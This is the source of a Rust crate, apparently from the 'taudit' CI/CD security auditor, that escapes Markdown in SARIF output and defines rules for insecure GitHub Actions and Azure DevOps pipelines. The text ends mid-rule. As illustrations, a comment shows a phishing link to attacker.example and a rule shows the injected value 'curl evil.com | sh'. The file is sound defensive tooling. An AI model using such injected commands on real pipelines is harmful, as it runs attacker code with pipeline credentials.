Skip to main content

taudit_report_sarif/
lib.rs

1use std::borrow::Cow;
2
3use serde::Serialize;
4use taudit_core::custom_rules::CustomRule;
5use taudit_core::error::TauditError;
6use taudit_core::finding::{
7    compute_finding_group_id, compute_fingerprint, compute_suppression_key, rule_id_for, Finding,
8    FindingSource, FixEffort, Severity,
9};
10use taudit_core::graph::AuthorityGraph;
11use taudit_core::ports::ReportSink;
12
13const SARIF_SCHEMA: &str = "https://schemastore.azurewebsites.net/schemas/json/sarif-2.1.0.json";
14const SARIF_VERSION: &str = "2.1.0";
15const TOOL_NAME: &str = "taudit";
16const TOOL_URI: &str = "https://github.com/0ryant/taudit";
17const RULES_BASE_URI: &str = "https://github.com/0ryant/taudit/blob/main/docs/rules";
18
19// ── Render-boundary sanitisation ────────────────────────
20
21/// Escape Markdown / HTML special characters in `s` so attacker-controlled
22/// content cannot inject clickable links, images, code-block escapes, or
23/// HTML tags into SARIF `result.message.text`.
24///
25/// **Why this matters:** GitHub Code Scanning (and several other SARIF
26/// consumers) renders Markdown links inside the `text` field. Without this
27/// escape, a `finding.message` of
28/// `"Click [here](https://attacker.example/?steal=1) for context"`
29/// produces a clickable phishing link embedded in what appears to a triage
30/// reviewer as an authentic taudit alert. tsign attests "this YAML produced
31/// these bytes" — it does NOT attest "these bytes are safe to render in a
32/// Markdown viewer". Closing that gap is the responsibility of the render
33/// boundary.
34///
35/// Escaped characters (the EXPLOITABLE Markdown / HTML set — narrow on
36/// purpose to avoid noising up legitimate identifiers like `AWS_KEY`,
37/// `GITHUB_TOKEN`, kebab-case rule ids, and version strings like `v1.2-beta`):
38///   * `\` `[` `]` `(` `)` — link / image / footnote anchors (PHISHING vector)
39///   * `<` `>` — HTML tag delimiters (TAG INJECTION vector)
40///   * `` ` `` — inline code spans (CODE-FENCE BREAKOUT vector)
41///   * `*` — emphasis & unordered-list marker (paired with `[]()` to bold
42///     phishing links; high-density in attacker payloads)
43///   * `!` — image marker (becomes `![...](...)` clickable image when paired
44///     with the bracket/paren forms above)
45///
46/// NOT escaped (cosmetic-only, false-positive on legitimate identifiers):
47/// `_`, `~`, `{`, `}`, `#`, `+`, `-`, `|`. These can produce italic/strike/
48/// heading rendering quirks but cannot mint a clickable link or HTML tag.
49/// If a future SARIF consumer renders any of those into a payload-carrying
50/// element, extend `is_markdown_special` and add a regression test.
51///
52/// Performance: O(n), single-pass. Returns `Cow::Borrowed` (zero-alloc) when
53/// the input contains no Markdown special chars; `Cow::Owned` otherwise.
54///
55/// Hand-rolled, no new dependencies.
56///
57/// ⚠️  Apply ONLY to attacker-controllable strings. Built-in `RULE_DEFS`
58/// short/full descriptions are author-controlled (see `RULE_DEFS` in this
59/// crate) — their Markdown formatting is intentional and MUST NOT be
60/// escaped. Custom-rule names, finding messages, and any string sourced
61/// from pipeline YAML or custom-rule YAML MUST be escaped.
62pub(crate) fn escape_markdown(s: &str) -> Cow<'_, str> {
63    if !needs_markdown_escape(s) {
64        return Cow::Borrowed(s);
65    }
66    // Worst case: every byte gets one backslash prefix → 2× growth.
67    let mut out = String::with_capacity(s.len() + s.len() / 4);
68    for c in s.chars() {
69        if is_markdown_special(c) {
70            out.push('\\');
71        }
72        out.push(c);
73    }
74    Cow::Owned(out)
75}
76
77#[inline]
78fn is_markdown_special(c: char) -> bool {
79    matches!(
80        c,
81        '\\' | '[' | ']' | '(' | ')' | '<' | '>' | '*' | '`' | '!'
82    )
83}
84
85#[inline]
86fn needs_markdown_escape(s: &str) -> bool {
87    s.chars().any(is_markdown_special)
88}
89
90// ── Static rule catalogue ───────────────────────────────
91
92pub struct RuleDef {
93    pub id: &'static str,
94    pub name: &'static str,
95    pub short_description: &'static str,
96    pub full_description: &'static str,
97    pub default_level: &'static str,
98    pub security_severity: &'static str,
99    pub tags: &'static [&'static str],
100}
101
102/// Public accessor for the static rule catalogue. Used by `taudit explain`
103/// and any other consumer that needs to enumerate the built-in rules.
104pub fn all_rules() -> &'static [RuleDef] {
105    RULE_DEFS
106}
107
108pub const RULE_DEFS: &[RuleDef] = &[
109    RuleDef {
110        id: "authority_propagation",
111        name: "AuthorityPropagation",
112        short_description: "A secret or identity propagates to a step in a lower trust zone.",
113        full_description:
114            "A secret or identity propagates to a step in a lower trust zone, allowing \
115             privileged credentials to be observed or exfiltrated by untrusted code.",
116        default_level: "error",
117        security_severity: "9.0",
118        tags: &["security", "privilege-escalation"],
119    },
120    RuleDef {
121        id: "over_privileged_identity",
122        name: "OverPrivilegedIdentity",
123        short_description:
124            "A GITHUB_TOKEN or service identity has broader permissions than needed.",
125        full_description:
126            "A GITHUB_TOKEN or service identity has broader permissions than needed for the \
127             work the workflow actually performs, expanding the blast radius if the token is \
128             misused or leaked.",
129        default_level: "error",
130        security_severity: "7.5",
131        tags: &["security", "privilege-escalation"],
132    },
133    RuleDef {
134        id: "unpinned_action",
135        name: "UnpinnedAction",
136        short_description:
137            "A third-party action is referenced by mutable tag instead of SHA digest.",
138        full_description:
139            "A third-party action is referenced by a mutable tag or branch instead of an \
140             immutable SHA digest. The action's code can change under the workflow without \
141             any local change, enabling supply-chain attacks.",
142        default_level: "error",
143        security_severity: "7.5",
144        tags: &["security", "supply-chain"],
145    },
146    RuleDef {
147        id: "oidc_identity_in_untrusted_context",
148        name: "OidcIdentityInUntrustedContext",
149        short_description: "An untrusted trigger context can mint an OIDC identity.",
150        full_description:
151            "A pull request, merge request, workflow_run, issue/comment, or equivalent \
152             untrusted trigger context can reach an OIDC-capable identity. OIDC avoids \
153             long-lived secrets but still needs provider-side subject and audience \
154             constraints, protected refs, or environment gates.",
155        default_level: "error",
156        security_severity: "8.0",
157        tags: &["security", "oidc", "privilege-escalation"],
158    },
159    RuleDef {
160        id: "action_major_version_pin_without_sha",
161        name: "ActionMajorVersionPinWithoutSha",
162        short_description: "An action is pinned only to a mutable major-version tag.",
163        full_description:
164            "A GitHub Actions `uses:` reference is pinned only to a moving major tag such \
165             as `@v1` or `@v2`. Major tags can be retargeted by the action maintainer; pin \
166             the action to a full commit SHA for reproducible supply-chain evidence.",
167        default_level: "warning",
168        security_severity: "5.0",
169        tags: &["security", "supply-chain", "github-actions"],
170    },
171    RuleDef {
172        id: "known_compromised_action_ref",
173        name: "KnownCompromisedActionRef",
174        short_description: "An action reference matches a public compromise advisory family.",
175        full_description:
176            "A workflow references a GitHub Action family with a public compromise advisory. \
177             Static YAML cannot prove a historical run executed an affected SHA; correlate \
178             the workflow run timestamp and resolved action ref with the advisory window, \
179             then rotate any secrets reachable by the job.",
180        default_level: "error",
181        security_severity: "9.0",
182        tags: &["security", "supply-chain", "github-actions", "advisory"],
183    },
184    RuleDef {
185        id: "untrusted_with_authority",
186        name: "UntrustedWithAuthority",
187        short_description:
188            "An untrusted or unpinned step has direct access to a secret or identity.",
189        full_description:
190            "An untrusted or unpinned step has direct access to a secret or identity. \
191             Compromise of that step yields immediate compromise of the associated authority. \
192             \n\n\
193             On ADO, System.AccessToken is injected into every task by the platform — this \
194             is structural exposure, not a misconfiguration. Findings against System.AccessToken \
195             are emitted at Info severity to distinguish them from actionable Critical findings \
196             against explicit secrets or service connections. To reduce structural exposure, \
197             set `env.SYSTEM_ACCESSTOKEN` only on steps that require it, or restrict the \
198             token scope via pipeline-level `security:` settings.",
199        default_level: "error",
200        security_severity: "9.0",
201        tags: &["security", "privilege-escalation"],
202    },
203    RuleDef {
204        id: "artifact_boundary_crossing",
205        name: "ArtifactBoundaryCrossing",
206        short_description:
207            "An artifact produced by a privileged step is consumed across a trust boundary.",
208        full_description:
209            "An artifact produced by a privileged step is consumed across a trust boundary \
210             without attestation or verification, allowing downstream stages to execute \
211             content originating from a higher-trust context without provenance checks.",
212        default_level: "error",
213        security_severity: "7.5",
214        tags: &["security", "supply-chain"],
215    },
216    RuleDef {
217        id: "floating_image",
218        name: "FloatingImage",
219        short_description: "A container image is referenced without a digest pin.",
220        full_description:
221            "A container image is referenced by tag (e.g. :latest) rather than an immutable \
222             digest. The image contents may change between runs without any local change, \
223             breaking reproducibility and enabling supply-chain attacks.",
224        default_level: "warning",
225        security_severity: "5.0",
226        tags: &["security", "supply-chain"],
227    },
228    RuleDef {
229        id: "long_lived_credential",
230        name: "LongLivedCredential",
231        short_description:
232            "A secret name matches static credential patterns (API keys, passwords, tokens).",
233        full_description:
234            "A secret referenced by the workflow matches patterns indicating a long-lived \
235             static credential (API key, password, personal access token). Long-lived \
236             credentials should be replaced with short-lived OIDC-issued tokens where possible.",
237        default_level: "error",
238        security_severity: "7.5",
239        tags: &["security", "credentials"],
240    },
241    RuleDef {
242        id: "persisted_credential",
243        name: "PersistedCredential",
244        short_description: "Checkout step persists repository credentials to disk",
245        full_description:
246            "A checkout step with persistCredentials:true writes the repository token to \
247             .git/config on disk, where it persists beyond the lifetime of the step and may \
248             be read by subsequent steps or exfiltrated.",
249        default_level: "error",
250        security_severity: "9.0",
251        tags: &["security", "supply-chain"],
252    },
253    RuleDef {
254        id: "trigger_context_mismatch",
255        name: "TriggerContextMismatch",
256        short_description: "Privileged workflow triggered by untrusted pull request context",
257        full_description:
258            "A workflow triggered by pull_request_target or an ADO pr trigger runs with \
259             write permissions in the base repository context while potentially executing \
260             untrusted code from a fork, creating a privilege escalation path.",
261        default_level: "error",
262        security_severity: "9.0",
263        tags: &["security", "privilege-escalation"],
264    },
265    RuleDef {
266        id: "cross_workflow_authority_chain",
267        name: "CrossWorkflowAuthorityChain",
268        short_description: "Authority-bearing step delegates to external or untrusted workflow",
269        full_description:
270            "A step holding secrets or elevated identity permissions delegates execution to \
271             a reusable workflow or template hosted in an external or untrusted repository, \
272             allowing that external code to inherit the authority.",
273        default_level: "error",
274        security_severity: "9.0",
275        tags: &["security", "supply-chain"],
276    },
277    RuleDef {
278        id: "authority_cycle",
279        name: "AuthorityCycle",
280        short_description: "Workflow delegation graph contains a cycle",
281        full_description:
282            "The workflow delegation graph contains a cycle — a workflow calls itself or \
283             another workflow that eventually calls back, creating unbounded privilege \
284             escalation paths and potential infinite execution.",
285        default_level: "error",
286        security_severity: "7.5",
287        tags: &["security", "configuration"],
288    },
289    RuleDef {
290        id: "uplift_without_attestation",
291        name: "UpliftWithoutAttestation",
292        short_description: "OIDC-privileged build does not produce a signed attestation",
293        full_description:
294            "A step with access to an OIDC identity produces artifacts without generating a \
295             cryptographic attestation. Downstream consumers cannot verify provenance or \
296             integrity of these artifacts.",
297        default_level: "note",
298        security_severity: "0.1",
299        tags: &["security", "supply-chain"],
300    },
301    RuleDef {
302        id: "self_mutating_pipeline",
303        name: "SelfMutatingPipeline",
304        short_description:
305            "Step writes to GITHUB_ENV or GITHUB_PATH, mutating the pipeline environment",
306        full_description: "A step appends to GITHUB_ENV or GITHUB_PATH, injecting values into the \
307             environment or PATH for all subsequent steps. An untrusted or compromised step \
308             could use this to escalate privileges or hijack later execution.",
309        default_level: "error",
310        security_severity: "9.0",
311        tags: &["security", "injection"],
312    },
313    RuleDef {
314        id: "variable_group_in_pr_job",
315        name: "VariableGroupInPrJob",
316        short_description: "PR-triggered job accesses ADO variable group secrets",
317        full_description: "A PR-triggered pipeline job has access to variable group secrets. PR \
318             pipelines run in the context of untrusted contributor code — variable group \
319             secrets crossing this boundary may be exfiltrated via log output, environment \
320             variables, or network calls.",
321        default_level: "error",
322        security_severity: "9.0",
323        tags: &["security", "privilege-escalation"],
324    },
325    RuleDef {
326        id: "self_hosted_pool_pr_hijack",
327        name: "SelfHostedPoolPrHijack",
328        short_description: "PR pipeline uses self-hosted pool with repository checkout",
329        full_description: "A PR-triggered pipeline runs on a self-hosted agent and checks out the \
330             repository. An attacker can inject malicious git hooks via the PR that persist \
331             on the shared runner, executing with the pipeline's full authority on \
332             subsequent runs.",
333        default_level: "error",
334        security_severity: "9.0",
335        tags: &["security", "injection"],
336    },
337    RuleDef {
338        id: "shared_self_hosted_pool_no_isolation",
339        name: "SharedSelfHostedPoolNoIsolation",
340        short_description: "ADO self-hosted pool missing workspace isolation (`workspace: {clean: all}`)",
341        full_description: "An ADO pipeline runs on a self-hosted agent pool that does not declare \
342             `workspace: { clean: all }`. Self-hosted agents are shared across pipeline runs — a previous \
343             run (potentially from a low-trust source) can leave behind malicious files, compiled \
344             artefacts, or git hooks that persist on disk and execute with the next run's authority, \
345             including privileged deployment jobs. Microsoft-hosted agents are ephemeral and are never \
346             flagged by this rule.",
347        default_level: "error",
348        security_severity: "7.5",
349        tags: &["security", "injection", "azure-devops"],
350    },
351    RuleDef {
352        id: "service_connection_scope_mismatch",
353        name: "ServiceConnectionScopeMismatch",
354        short_description: "Broad-scope service connection accessible from PR-triggered job",
355        full_description:
356            "A PR-triggered pipeline job has access to an ADO service connection with \
357             broad or unknown scope and no OIDC federation. The static credential may have \
358             subscription-wide Azure RBAC permissions, enabling lateral movement into the \
359             Azure tenant from untrusted PR code.",
360        default_level: "error",
361        security_severity: "7.5",
362        tags: &["security", "privilege-escalation"],
363    },
364    RuleDef {
365        id: "template_extends_unpinned_branch",
366        name: "TemplateExtendsUnpinnedBranch",
367        short_description:
368            "ADO pipeline pulls a template repository pinned to a mutable branch or default branch.",
369        full_description:
370            "An Azure DevOps pipeline declares a `resources.repositories` entry that resolves to a \
371             mutable target — either no `ref:` field at all (defaults to the repo's default branch) \
372             or `refs/heads/<branch>` with a normal branch name. The pipeline references the alias \
373             via `extends:`, `template: x@<alias>`, or `checkout: <alias>`. Whoever owns that branch \
374             can inject steps into every consuming pipeline at the next run — the ADO equivalent of \
375             an unpinned GitHub Action. Combined with self-hosted pool reuse this is full pipeline \
376             RCE. Pin to `refs/tags/<x>` or a 40-char commit SHA.",
377        default_level: "error",
378        security_severity: "7.5",
379        tags: &["security", "supply-chain"],
380    },
381    RuleDef {
382        id: "template_repo_ref_is_feature_branch",
383        name: "TemplateRepoRefIsFeatureBranch",
384        short_description:
385            "ADO pipeline pins a template repository to a developer feature branch.",
386        full_description:
387            "An Azure DevOps pipeline's `resources.repositories[].ref` resolves to a feature-class \
388             branch — anything outside the platform-blessed set (`main`, `master`, `release/*`, \
389             `hotfix/*`). Feature branches typically have weaker push protection than the trunk: any \
390             developer with write access to that branch can push pipeline YAML that runs with the \
391             consumer pipeline's authority — service connections, variable groups, OIDC federations, \
392             `System.AccessToken`. This is strictly worse than pinning to `main`, because main \
393             usually has branch protection (required reviewers, build validation) that a feature \
394             branch lacks. Co-fires with `template_extends_unpinned_branch`, which describes the \
395             same entry from the abstract \"not pinned\" angle. Pin to `refs/tags/<x>` or a 40-char \
396             commit SHA.",
397        default_level: "error",
398        security_severity: "7.5",
399        tags: &["security", "supply-chain", "azure-devops"],
400    },
401    RuleDef {
402        id: "vm_remote_exec_via_pipeline_secret",
403        name: "VmRemoteExecViaPipelineSecret",
404        short_description:
405            "Pipeline step uses Azure VM remote-exec primitive with secret or SAS in the command line",
406        full_description:
407            "A pipeline step invokes Set-AzVMExtension/CustomScriptExtension, \
408             Invoke-AzVMRunCommand, az vm run-command, or az vm extension set, \
409             where the executed command line is constructed from a pipeline secret or \
410             a freshly-minted SAS token. This is a pipeline-to-VM lateral movement \
411             primitive — every pipeline run can RCE every VM in scope, and the \
412             credential embedded in the command line is logged in plaintext on the VM \
413             (CustomScriptExtension status JSON, Windows event log, /var/log) and in \
414             the ARM extension status that anyone with reader on the resource can pull.",
415        default_level: "error",
416        security_severity: "7.5",
417        tags: &["security", "credentials", "lateral-movement"],
418    },
419    RuleDef {
420        id: "short_lived_sas_in_command_line",
421        name: "ShortLivedSasInCommandLine",
422        short_description:
423            "SAS token minted in-pipeline is passed as a command-line argument",
424        full_description:
425            "A SAS token minted in-pipeline (New-AzStorage*SASToken or \
426             az storage * generate-sas) is interpolated into commandToExecute, \
427             scriptArguments, --arguments, -ArgumentList, or otherwise placed on \
428             the process command line instead of being passed via env var or stdin. \
429             Even short-lived SAS tokens in argv hit Linux /proc/*/cmdline, Windows \
430             ETW process-create events, and ARM extension status — logged for the \
431             SAS lifetime, accessible to any local process with the right privileges \
432             and any reader on the resource.",
433        default_level: "warning",
434        security_severity: "5.0",
435        tags: &["security", "credentials"],
436    },
437    RuleDef {
438        id: "checkout_self_pr_exposure",
439        name: "CheckoutSelfPrExposure",
440        short_description: "PR-triggered pipeline checks out attacker-controlled repository code",
441        full_description:
442            "A PR-triggered pipeline job (pull_request_target or ADO pr: trigger) performs \
443             a checkout of the repository. Attacker-controlled code from a forked PR lands on \
444             the runner's workspace and is readable by all subsequent steps. Any step that \
445             reads workspace files — scripts, configs, test fixtures — is a potential \
446             exfiltration or injection vector. This is distinct from trigger_context_mismatch \
447             which fires on authority access; this rule fires whenever code from an untrusted \
448             source lands on a privileged runner, regardless of explicit secret access.",
449        default_level: "warning",
450        security_severity: "7.0",
451        tags: &["security", "supply-chain", "pull-request"],
452    },
453    RuleDef {
454        id: "secret_to_inline_script_env_export",
455        name: "SecretToInlineScriptEnvExport",
456        short_description: "Pipeline secret assigned to a shell variable inside an inline script",
457        full_description: "An inline script (`script:`, `Bash@3.inputs.script`, \
458             `PowerShell@2.inputs.script`, `AzureCLI@2.inputs.inlineScript`, …) assigns a \
459             pipeline `$(SECRET)` value to a shell variable (`export FOO=$(SECRET)`, \
460             `$X = \"$(SECRET)\"`). ADO masks `$(SECRET)` as it appears in log output, but \
461             masking is applied to the rendered command string before the shell runs. Once \
462             the value is bound to a shell variable any transcript (`Start-Transcript`, \
463             `bash -x`, `terraform TF_LOG=DEBUG`, `az --debug`, error stack traces) prints \
464             the cleartext credential — a historical breach vector for ADO-hosted Terraform \
465             and Azure CLI pipelines.",
466        default_level: "error",
467        security_severity: "7.5",
468        tags: &["security", "credentials", "azure-devops"],
469    },
470    RuleDef {
471        id: "secret_materialised_to_workspace_file",
472        name: "SecretMaterialisedToWorkspaceFile",
473        short_description: "Pipeline secret written to a file under the agent workspace",
474        full_description: "An inline script writes a pipeline `$(SECRET)` value to a file under \
475             `$(System.DefaultWorkingDirectory)`, `$(Build.SourcesDirectory)`, or with a \
476             credential-bearing extension (`.tfvars`, `.env`, `.hcl`, `.pfx`, `.key`, `.pem`, \
477             `.kubeconfig`, …). The file persists for the rest of the job, is readable by \
478             every subsequent step, and may be uploaded by a later `PublishPipelineArtifact` \
479             task. Use the `secureFile` task or stream the secret over stdin / an env var \
480             to the consuming tool instead.",
481        default_level: "error",
482        security_severity: "7.5",
483        tags: &["security", "credentials", "azure-devops"],
484    },
485    RuleDef {
486        id: "keyvault_secret_to_plaintext",
487        name: "KeyVaultSecretToPlaintext",
488        short_description: "Inline PowerShell pulls a Key Vault secret as plaintext (-AsPlainText)",
489        full_description:
490            "An inline PowerShell or AzurePowerShell step calls `Get-AzKeyVaultSecret \
491             -AsPlainText`, `ConvertFrom-SecureString -AsPlainText`, or the older \
492             `(Get-AzKeyVaultSecret …).SecretValueText` pattern, landing the secret in a \
493             non-`SecureString` variable. The value is fetched directly from Key Vault — it \
494             never traverses the ADO variable-group boundary, so pipeline log masking does \
495             not apply. Verbose `Az` / PowerShell logging (`Set-PSDebug -Trace`, \
496             `$VerbosePreference = \"Continue\"`) and any error stack trace will then print \
497             the cleartext credential. Keep the secret as a `SecureString` and only convert \
498             to plaintext at the exact moment of consumption.",
499        default_level: "warning",
500        security_severity: "5.0",
501        tags: &["security", "credentials", "azure-devops"],
502    },
503    RuleDef {
504        id: "terraform_auto_approve_in_prod",
505        name: "TerraformAutoApproveInProd",
506        short_description:
507            "`terraform apply -auto-approve` against a production service connection without an environment gate",
508        full_description:
509            "An ADO step runs `terraform apply -auto-approve` (either via an inline script \
510             or via TerraformCLI/TerraformTask with `command: apply` and commandOptions \
511             containing `auto-approve`) against a service connection whose name matches \
512             production patterns (`prod`, `production`, `prd`), and the enclosing job has \
513             no `environment:` binding. The auto-approve flag bypasses the only ADO-side \
514             change-control on infrastructure rewrites; combined with a shared agent pool, \
515             any committer can rewrite production.",
516        default_level: "error",
517        security_severity: "9.0",
518        tags: &["security", "configuration", "azure-devops"],
519    },
520    RuleDef {
521        id: "add_spn_with_inline_script",
522        name: "AddSpnWithInlineScript",
523        short_description:
524            "`AzureCLI` task with addSpnToEnvironment:true plus an inline script — federated token can be laundered",
525        full_description:
526            "An `AzureCLI@2` (or `AzurePowerShell`) task runs an inline script with \
527             `addSpnToEnvironment: true`, which exposes the federated SPN material \
528             (`$env:idToken`, `$env:servicePrincipalKey`, `$env:servicePrincipalId`, \
529             `$env:tenantId`) as environment variables. An inline script can write that \
530             material to a normal pipeline variable via `##vso[task.setvariable]`, after \
531             which the OIDC token is inherited un-masked by every downstream task.",
532        default_level: "error",
533        security_severity: "7.5",
534        tags: &["security", "credentials", "azure-devops"],
535    },
536    RuleDef {
537        id: "secrets_inherit_overscoped_passthrough",
538        name: "SecretsInheritOverscopedPassthrough",
539        short_description:
540            "Reusable workflow called with `secrets: inherit` under an attacker-influenced trigger",
541        full_description:
542            "A reusable workflow `uses:` call uses `secrets: inherit` while the calling \
543             workflow is triggered by `pull_request`, `pull_request_target`, \
544             `pull_request_review`, `pull_request_review_comment`, `issue_comment`, or \
545             `workflow_run`. `inherit` forwards the entire caller secret bag to the callee \
546             regardless of which secrets the callee consumes — every transitive `uses:` in \
547             the called workflow inherits the same scope. Combined with a trigger an external \
548             party can fire (PR open, issue comment, workflow_run reaction), every secret in \
549             scope is one compromised callee away from exfiltration. Replace with an explicit \
550             `secrets:` mapping that lists only the secrets the callee actually needs.",
551        default_level: "error",
552        security_severity: "7.5",
553        tags: &["security", "propagation", "github-actions"],
554    },
555    RuleDef {
556        id: "unsafe_pr_artifact_in_workflow_run_consumer",
557        name: "UnsafePrArtifactInWorkflowRunConsumer",
558        short_description:
559            "workflow_run/pull_request_target consumer downloads and interprets a PR-context artifact",
560        full_description:
561            "A workflow triggered by `workflow_run` or `pull_request_target` downloads an \
562             artifact from the originating run AND interprets its content into a privileged \
563             sink — posting the bytes back to a PR comment, piping them into `$GITHUB_ENV`/\
564             `$GITHUB_OUTPUT`, `eval`, `unzip`/`tar -x`, or `cat`/`jq`. The producer ran in PR \
565             context, so a malicious PR can write arbitrary content into the artifact while \
566             the consumer runs with upstream-repo authority (typically `pull-requests: write` \
567             plus contents/issues scope). The classic mypy_primer / coverage-comment artifact \
568             RCE pattern. Treat downloaded artifacts as untrusted, validate against a strict \
569             schema, and never feed unsanitised content into a sink that mutates the \
570             environment, comments, or env vars.",
571        default_level: "error",
572        security_severity: "7.5",
573        tags: &["security", "supply-chain", "github-actions"],
574    },
575    RuleDef {
576        id: "parameter_interpolation_into_shell",
577        name: "ParameterInterpolationIntoShell",
578        short_description:
579            "Free-form string parameter interpolated into an inline script — shell injection vector",
580        full_description:
581            "A pipeline-level `parameters:` entry of `type: string` with no `values:` \
582             allowlist is interpolated via `${{ parameters.<name> }}` directly into an \
583             inline shell or PowerShell script body. ADO does not escape parameter values \
584             during YAML emission, so anyone with permission to queue the build can inject \
585             arbitrary shell commands by passing a malicious value (e.g. \
586             `something; curl evil.com | sh`). Constrain inputs with a `values:` allowlist \
587             or pass the parameter through the step's `env:` block so the runtime quotes it.",
588        default_level: "warning",
589        security_severity: "5.0",
590        tags: &["security", "injection", "azure-devops"],
591    },
592    RuleDef {
593        id: "runtime_script_fetched_from_floating_url",
594        name: "RuntimeScriptFetchedFromFloatingUrl",
595        short_description:
596            "A `run:` step downloads and executes a script from a mutable URL (curl|bash from a branch ref).",
597        full_description:
598            "A workflow step pipes a remotely-fetched script directly into a shell \
599             interpreter (`curl … | bash`, `wget … | sh`, `bash <(curl …)`, \
600             `deno run https://…`) where the URL is not pinned to a tag or commit SHA — \
601             typically containing `refs/heads/`, `/main/`, or `/master/`. Whoever can land \
602             a commit on the referenced branch (including the upstream maintainers, but \
603             also any attacker who compromises the upstream account) executes arbitrary \
604             code on the runner with the workflow's full token scope. Pin to a release tag \
605             or, better, to a commit SHA, and verify the download against a checksum.",
606        default_level: "error",
607        security_severity: "7.5",
608        tags: &["security", "injection", "supply-chain", "github-actions"],
609    },
610    RuleDef {
611        id: "docker_socket_exposed_to_ci_step",
612        name: "DockerSocketExposedToCiStep",
613        short_description: "A CI step exposes the host Docker socket.",
614        full_description:
615            "A CI step references or mounts `/var/run/docker.sock`. Docker socket access is \
616             effectively runner-host authority because the step can start containers with \
617             arbitrary bind mounts and read host filesystem state. Prefer rootless builders \
618             or a dedicated isolated runner with no shared workspace and no secrets.",
619        default_level: "error",
620        security_severity: "9.0",
621        tags: &["security", "isolation", "containers"],
622    },
623    RuleDef {
624        id: "privileged_container_in_ci_step",
625        name: "PrivilegedContainerInCiStep",
626        short_description: "A CI step starts a privileged container.",
627        full_description:
628            "A CI step runs Docker, Podman, or Buildah with `--privileged`. Privileged \
629             containers remove normal kernel isolation and can become runner-host compromise \
630             primitives when combined with bind mounts, cached workspaces, or secrets.",
631        default_level: "error",
632        security_severity: "7.5",
633        tags: &["security", "isolation", "containers"],
634    },
635    RuleDef {
636        id: "pr_trigger_with_floating_action_ref",
637        name: "PrTriggerWithFloatingActionRef",
638        short_description:
639            "High-authority PR trigger combined with a non-SHA-pinned action ref — single-PR RCE chain.",
640        full_description:
641            "The workflow uses a high-authority PR-class trigger (`pull_request_target`, \
642             `issue_comment`, or `workflow_run`) that runs in the base repository context \
643             with full `GITHUB_TOKEN` write permissions, and at least one step references \
644             an action by a mutable ref (`@main`, `@master`, `@v1`) instead of a 40-char \
645             commit SHA. Anyone who can push to the referenced action branch executes code \
646             with full write access on the target repository — a one-PR exploit chain. \
647             Either drop the privileged trigger (use `pull_request` for CI) or pin every \
648             action in the workflow to a commit SHA.",
649        default_level: "error",
650        security_severity: "9.0",
651        tags: &["security", "privilege-escalation", "supply-chain", "github-actions"],
652    },
653    RuleDef {
654        id: "untrusted_api_response_to_env_sink",
655        name: "UntrustedApiResponseToEnvSink",
656        short_description:
657            "API response derived from PR metadata is written to $GITHUB_ENV — environment injection vector.",
658        full_description:
659            "A `workflow_run`-triggered workflow captures output from a GitHub API call \
660             (`gh pr view`, `gh api`, `curl api.github.com`) and pipes it into \
661             `$GITHUB_ENV`, `$GITHUB_OUTPUT`, or `$GITHUB_PATH` without sanitisation. \
662             Because the API response embeds attacker-influenced fields (branch name, PR \
663             title, head commit message), a value crafted to contain a newline plus \
664             `KEY=value` injects an environment variable into every subsequent step in \
665             the same job — including steps that hold the repository write token. \
666             Validate with a strict regex before redirecting to the env file, or write \
667             only known-numeric fields (PR number, commit timestamp).",
668        default_level: "error",
669        security_severity: "7.5",
670        tags: &["security", "injection", "github-actions"],
671    },
672    RuleDef {
673        id: "pr_build_pushes_image_with_floating_credentials",
674        name: "PrBuildPushesImageWithFloatingCredentials",
675        short_description:
676            "PR-triggered workflow logs into a container registry via a non-SHA-pinned action.",
677        full_description:
678            "A `pull_request`-triggered workflow uses a container-registry login action \
679             (`docker/login-action`, `aws-actions/amazon-ecr-login`, `azure/docker-login`, \
680             `google-github-actions/auth`) pinned to a mutable ref. The login action \
681             receives either an OIDC token (when `id-token: write` is granted) or a \
682             long-lived registry credential. A compromise of the action's branch lets an \
683             attacker exfiltrate that credential, and any subsequent `docker push` \
684             publishes a PR-controlled image to a shared registry — poisoning every \
685             downstream consumer. Pin every login action to a commit SHA and gate the \
686             push step on `if: github.event.pull_request.head.repo.fork == false`.",
687        default_level: "error",
688        security_severity: "7.5",
689        tags: &["security", "supply-chain", "credentials", "github-actions"],
690    },
691    RuleDef {
692        id: "secret_via_env_gate_to_untrusted_consumer",
693        name: "SecretViaEnvGateToUntrustedConsumer",
694        short_description:
695            "Secret laundered through $GITHUB_ENV by a first-party step is read by a later untrusted step in the same job.",
696        full_description:
697            "A first-party step writes a Secret/Identity-derived value into `$GITHUB_ENV` \
698             (or pipeline-variable equivalent), and a later step in the same job that \
699             runs in the Untrusted or ThirdParty trust zone reads from the runner-managed \
700             env via `${{ env.X }}`. The two component rules — `self_mutating_pipeline` \
701             on the writer and `untrusted_with_authority` on the consumer — each see only \
702             half the chain and emit no finding; the env gate launders the secret across \
703             the trust boundary without ever producing a `HasAccessTo` edge from the \
704             consumer to the original credential. \
705             \n\n\
706             Mitigation: pass the secret to the consuming step via an explicit `env:` \
707             mapping on that step (so the relationship is graph-visible) instead of \
708             writing it to `$GITHUB_ENV` for ambient pickup. If the consumer is a \
709             third-party action, pin it to a 40-char SHA before exposing any \
710             secret-derived value to it.",
711        default_level: "error",
712        security_severity: "9.0",
713        tags: &[
714            "security",
715            "privilege-escalation",
716            "propagation",
717            "github-actions",
718        ],
719    },
720    // ── Blue-team positive invariants ───────────────────────
721    RuleDef {
722        id: "no_workflow_level_permissions_block",
723        name: "NoWorkflowLevelPermissionsBlock",
724        short_description:
725            "GitHub Actions workflow declares no top-level or per-job `permissions:` block.",
726        full_description:
727            "The workflow declares neither a top-level `permissions:` block nor a per-job \
728             `permissions:` block. Without an explicit declaration, `GITHUB_TOKEN` falls back to \
729             the broad GitHub default scope (`contents: write`, `packages: write`, metadata \
730             read, etc.) on every trigger. The blast radius cannot be determined by reading the \
731             workflow file alone — making both review and incident triage harder. Add \
732             `permissions: {}` at the top level (strips all defaults), then narrow per-job to \
733             the minimum each job needs.",
734        default_level: "warning",
735        security_severity: "5.0",
736        tags: &["security", "configuration", "github-actions"],
737    },
738    RuleDef {
739        id: "prod_deploy_job_no_environment_gate",
740        name: "ProdDeployJobNoEnvironmentGate",
741        short_description:
742            "ADO production deployment job has no `environment:` binding (no approval gate).",
743        full_description:
744            "An ADO step targets a service connection whose name matches a production pattern \
745             (`prod`, `production`, `prd`) but the enclosing job carries no `environment:` \
746             binding. Strictly broader than `terraform_auto_approve_in_prod` — fires on any \
747             prod-SC operation (Terraform apply, ARM/Bicep deployment, AzureCLI/AzurePowerShell \
